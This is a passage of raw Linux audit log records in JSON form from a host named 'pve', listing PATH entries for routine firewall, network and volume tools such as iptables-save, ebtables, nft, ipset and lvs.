type=PATH msg=audit(1781964595.176:61694): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595176,"@rawstring":"node=pve type=PATH msg=audit(1781964595.176:61694): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595170,"@rawstring":"node=pve type=PATH msg=audit(1781964595.170:61693): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595170,"@rawstring":"node=pve type=PATH msg=audit(1781964595.170:61693): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595164,"@rawstring":"node=pve type=PATH msg=audit(1781964595.164:61692): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595164,"@rawstring":"node=pve type=PATH msg=audit(1781964595.164:61692): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595159,"@rawstring":"node=pve type=PATH msg=audit(1781964595.159:61691): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595159,"@rawstring":"node=pve type=PATH msg=audit(1781964595.159:61691): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595152,"@rawstring":"node=pve type=PATH msg=audit(1781964595.152:61690): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595152,"@rawstring":"node=pve type=PATH msg=audit(1781964595.152:61690): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595146,"@rawstring":"node=pve type=PATH msg=audit(1781964595.146:61689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595146,"@rawstring":"node=pve type=PATH msg=audit(1781964595.146:61689): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595143,"@rawstring":"node=pve type=PATH msg=audit(1781964595.143:61688): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595143,"@rawstring":"node=pve type=PATH msg=audit(1781964595.143:61688): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=PATH msg=audit(1781964595.139:61687): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=PATH msg=audit(1781964595.139:61687): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=PATH msg=audit(1781964595.139:61686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=PATH msg=audit(1781964595.139:61686): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595139,"@rawstring":"node=pve type=PATH msg=audit(1781964595.139:61685): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595134,"@rawstring":"node=pve type=PATH msg=audit(1781964595.134:61684): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595134,"@rawstring":"node=pve type=PATH msg=audit(1781964595.134:61684): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595134,"@rawstring":"node=pve type=PATH msg=audit(1781964595.134:61684): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595126,"@rawstring":"node=pve type=PATH msg=audit(1781964595.126:61683): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595126,"@rawstring":"node=pve type=PATH msg=audit(1781964595.126:61683): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595119,"@rawstring":"node=pve type=PATH msg=audit(1781964595.119:61682): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595119,"@rawstring":"node=pve type=PATH msg=audit(1781964595.119:61682): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595114,"@rawstring":"node=pve type=PATH msg=audit(1781964595.114:61681): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595114,"@rawstring":"node=pve type=PATH msg=audit(1781964595.114:61681): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595107,"@rawstring":"node=pve type=PATH msg=audit(1781964595.107:61680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595107,"@rawstring":"node=pve type=PATH msg=audit(1781964595.107:61680): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595101,"@rawstring":"node=pve type=PATH msg=audit(1781964595.101:61679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964595101,"@rawstring":"node=pve type=PATH msg=audit(1781964595.101:61679): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=PATH msg=audit(1781964594.964:61678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=PATH msg=audit(1781964594.964:61678): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=PATH msg=audit(1781964594.964:61677): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=PATH msg=audit(1781964594.964:61676): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=PATH msg=audit(1781964594.959:61675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=PATH msg=audit(1781964594.959:61675): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=PATH msg=audit(1781964594.959:61674): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=PATH msg=audit(1781964594.959:61673): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594825,"@rawstring":"node=pve type=PATH msg=audit(1781964594.825:61672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594825,"@rawstring":"node=pve type=PATH msg=audit(1781964594.825:61672): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594787,"@rawstring":"node=pve type=PATH msg=audit(1781964594.787:61671): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964594787,"@rawstring":"node=pve type=PATH msg=audit(1781964594.787:61671): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=PATH msg=audit(1781964589.942:61670): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=PATH msg=audit(1781964589.942:61670): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=PATH msg=audit(1781964589.942:61669): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=PATH msg=audit(1781964589.942:61668): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=PATH msg=audit(1781964589.936:61667): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=PATH msg=audit(1781964589.936:61667): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=PATH msg=audit(1781964589.936:61666): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=PATH msg=audit(1781964589.936:61665): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586089,"@rawstring":"node=pve type=PATH msg=audit(1781964586.089:61664): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586089,"@rawstring":"node=pve type=PATH msg=audit(1781964586.089:61664): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586085,"@rawstring":"node=pve type=PATH msg=audit(1781964586.085:61663): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586085,"@rawstring":"node=pve type=PATH msg=audit(1781964586.085:61663): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586084,"@rawstring":"node=pve type=PATH msg=audit(1781964586.084:61662): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586084,"@rawstring":"node=pve type=PATH msg=audit(1781964586.084:61662): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586084,"@rawstring":"node=pve type=PATH msg=audit(1781964586.084:61661): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586080,"@rawstring":"node=pve type=PATH msg=audit(1781964586.080:61660): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586080,"@rawstring":"node=pve type=PATH msg=audit(1781964586.080:61660): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586080,"@rawstring":"node=pve type=PATH msg=audit(1781964586.080:61660): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586074,"@rawstring":"node=pve type=PATH msg=audit(1781964586.074:61659): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586074,"@rawstring":"node=pve type=PATH msg=audit(1781964586.074:61659): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586068,"@rawstring":"node=pve type=PATH msg=audit(1781964586.068:61658): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586068,"@rawstring":"node=pve type=PATH msg=audit(1781964586.068:61658): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586062,"@rawstring":"node=pve type=PATH msg=audit(1781964586.062:61657): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586062,"@rawstring":"node=pve type=PATH msg=audit(1781964586.062:61657): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586056,"@rawstring":"node=pve type=PATH msg=audit(1781964586.056:61656): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586056,"@rawstring":"node=pve type=PATH msg=audit(1781964586.056:61656): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586051,"@rawstring":"node=pve type=PATH msg=audit(1781964586.051:61654): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586051,"@rawstring":"node=pve type=PATH msg=audit(1781964586.051:61654): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586046,"@rawstring":"node=pve type=PATH msg=audit(1781964586.046:61653): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586046,"@rawstring":"node=pve type=PATH msg=audit(1781964586.046:61653): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586041,"@rawstring":"node=pve type=PATH msg=audit(1781964586.041:61652): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586041,"@rawstring":"node=pve type=PATH msg=audit(1781964586.041:61652): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586036,"@rawstring":"node=pve type=PATH msg=audit(1781964586.036:61651): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586036,"@rawstring":"node=pve type=PATH msg=audit(1781964586.036:61651): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586031,"@rawstring":"node=pve type=PATH msg=audit(1781964586.031:61650): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586031,"@rawstring":"node=pve type=PATH msg=audit(1781964586.031:61650): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586026,"@rawstring":"node=pve type=PATH msg=audit(1781964586.026:61649): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586026,"@rawstring":"node=pve type=PATH msg=audit(1781964586.026:61649): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586020,"@rawstring":"node=pve type=PATH msg=audit(1781964586.020:61648): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586020,"@rawstring":"node=pve type=PATH msg=audit(1781964586.020:61648): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586014,"@rawstring":"node=pve type=PATH msg=audit(1781964586.014:61647): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586014,"@rawstring":"node=pve type=PATH msg=audit(1781964586.014:61647): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586010,"@rawstring":"node=pve type=PATH msg=audit(1781964586.010:61646): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586010,"@rawstring":"node=pve type=PATH msg=audit(1781964586.010:61646): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586007,"@rawstring":"node=pve type=PATH msg=audit(1781964586.007:61645): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586007,"@rawstring":"node=pve type=PATH msg=audit(1781964586.007:61645): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586006,"@rawstring":"node=pve type=PATH msg=audit(1781964586.006:61644): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586006,"@rawstring":"node=pve type=PATH msg=audit(1781964586.006:61644): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586006,"@rawstring":"node=pve type=PATH msg=audit(1781964586.006:61643): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586001,"@rawstring":"node=pve type=PATH msg=audit(1781964586.001:61642): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964586001,"@rawstring":"node=pve type=PATH msg=audit(1781964586.001:61642): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 